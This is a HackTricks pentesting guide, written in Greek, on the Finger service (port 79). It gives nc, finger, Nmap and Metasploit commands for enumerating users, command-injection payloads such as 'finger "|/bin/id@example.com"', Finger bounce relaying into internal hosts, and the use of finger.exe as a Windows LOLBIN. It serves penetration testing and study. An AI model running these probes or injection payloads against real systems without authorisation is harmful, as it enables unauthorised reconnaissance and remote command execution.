79 - Pentesting Finger
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το πρόγραμμα/υπηρεσία Finger χρησιμοποιείται για την ανάκτηση πληροφοριών σχετικά με χρήστες υπολογιστών. Συνήθως οι παρεχόμενες πληροφορίες περιλαμβάνουν το όνομα χρήστη σύνδεσης, το πλήρες όνομα, και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον πληροφορίες μπορεί να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (εάν υπάρχουν), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που ο χρήστης διάβασε τα mail του, και τα περιεχόμενα των αρχείων .plan και .project του χρήστη.
Από την οπτική του pentesting, το Finger παραμένει ενδιαφέρον επειδή το πρωτόκολλο είναι εξαιρετικά μικρό, αναγνώσιμο από άνθρωπο, και συχνά υλοποιείται με παλαιά λογική ανάλυσης. Ένας daemon μπορεί να αποκαλύψει:
- συνδεδεμένους χρήστες αυτή τη στιγμή
- πλήρη ονόματα / GECOS δεδομένα
- κατάλογοι home, shells, χρόνοι τελευταίας σύνδεσης και TTYs
- τα περιεχόμενα των
.plan/.project - συμπεριφορά relay για ερώτηση ενός δεύτερου host μέσω του πρώτου
Προεπιλεγμένη θύρα: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Βασική σύνδεση
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Το πρωτόκολλο είναι ASCII over TCP/79, κανονικά τερματίζεται με CRLF, και ο server closes the TCP connection μετά την απάντηση. Στην πράξη ένα null query (\r\n) συχνά αρκεί για να ανακτήσει την τρέχουσα λίστα χρηστών, που είναι επίσης αυτό που κάνει το προεπιλεγμένο finger NSE script του Nmap.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Εναλλακτικά μπορείτε να χρησιμοποιήσετε finger-user-enum από το pentestmonkey, μερικά παραδείγματα:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Η σημαντική ιδιαιτερότητα στην Finger enumeration είναι ότι δεν υπάρχει καμία αυστηρή μορφή απάντησης ανάμεσα στους daemons. Εργαλεία όπως το finger-user-enum λειτουργούν καλά εναντίον υπηρεσιών τύπου Solaris επειδή οι έγκυροι και μη έγκυροι χρήστες παράγουν διαφορετικές μορφές κειμένου, αλλά μπορεί να χρειαστεί να συγκρίνετε χειροκίνητα τις θετικές και αρνητικές απαντήσεις και να προσαρμόσετε τα regexes αν ο στόχος daemon είναι ασυνήθιστος.
Χρήσιμες probes όταν ο daemon δεν συμπεριφέρεται όπως το stock Solaris/BSD:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap — εκτέλεση script χρησιμοποιώντας default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Το finger NSE script του Nmap είναι ασφαλές και απλώς στέλνει ένα null query για να ανακτήσει την τρέχουσα λίστα χρηστών. Αν θέλετε ευρύτερο username guessing ενάντια σε permissive daemons, σκεφτείτε να επεκτείνετε την προσέγγιση με custom wordlists ή να χρησιμοποιήσετε projects όπως fat-finger.nse, τα οποία στέλνουν πολλαπλά πιθανά ονόματα λογαριασμών σε ένα request και ψάχνουν για username/GECOS matches.
Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Εκτέλεση εντολών
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
Το RFC 1288 επιτρέπει ρητά στις υλοποιήσεις να εκτελούν ένα πρόγραμμα ελεγχόμενο από τον χρήστη ως απάντηση σε ένα Finger query, το οποίο είναι από όπου προέρχεται η κλασική κατάχρηση |/bin/....
Αυτό είναι σπάνιο σήμερα, αλλά αν βρείτε έναν προσαρμοσμένο ή παλαιό daemon, ελέγξτε προσεκτικά για:
- shell μεταχαρακτήρες στον χειρισμό του username
|programεκτέλεση σε plan/project hooks- backend wrappers που περνούν το username σε shell script ή CGI
Επίσης, θυμηθείτε την client-side διαδρομή κατάχρησης στα Windows: finger.exe είναι ένα υπογεγραμμένο LOLBIN που μπορεί να ανακτήσει οποιοδήποτε κείμενο από έναν απομακρυσμένο Finger server στο TCP/79, και στη συνέχεια να περάσει (pipe) αυτή την έξοδο σε άλλη διεργασία. Αυτή η τεχνική είναι πιο σχετική με post-exploitation παρά με service enumeration, οπότε δείτε the Linux reverse-shell page για την ιδέα του shell transport και κρατήστε την στο μυαλό όταν προσομοιώνετε attacker tradecraft.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Αυτό δεν είναι απλώς μια ιδιορρυθμία της υλοποίησης: RFC 1288 ορίζει αναδρομική προώθηση @hostname ({Q2} ερωτήματα). Αν ο daemon υποστηρίζει relaying, ο ενδιάμεσος διακομιστής ανοίγει για εσάς τη δεύτερη σύνδεση Finger και επιστρέφει την απάντηση μέσω της αρχικής socket. Αυτό σημαίνει:
- ο host σας ενδέχεται να μην συνδεθεί απευθείας με τον τελικό στόχο
- το relay μπορεί να χρησιμοποιηθεί για enumerate internal users από μια εκτεθειμένη υπηρεσία Finger
finger-user-enumυποστηρίζει αυτό εγγενώς με-r <relay>
Παράδειγμα:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Αν το relaying λειτουργεί, χρησιμοποίησέ το ως internal recon primitive και σύγκρινε την relayed έξοδο με την απευθείας έξοδο του public daemon. Διαφορετική μορφοποίηση ή φιλτράρισμα συχνά αποκαλύπτει εάν το relay path εξυπηρετείται από ξεχωριστό backend ή wrapper.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


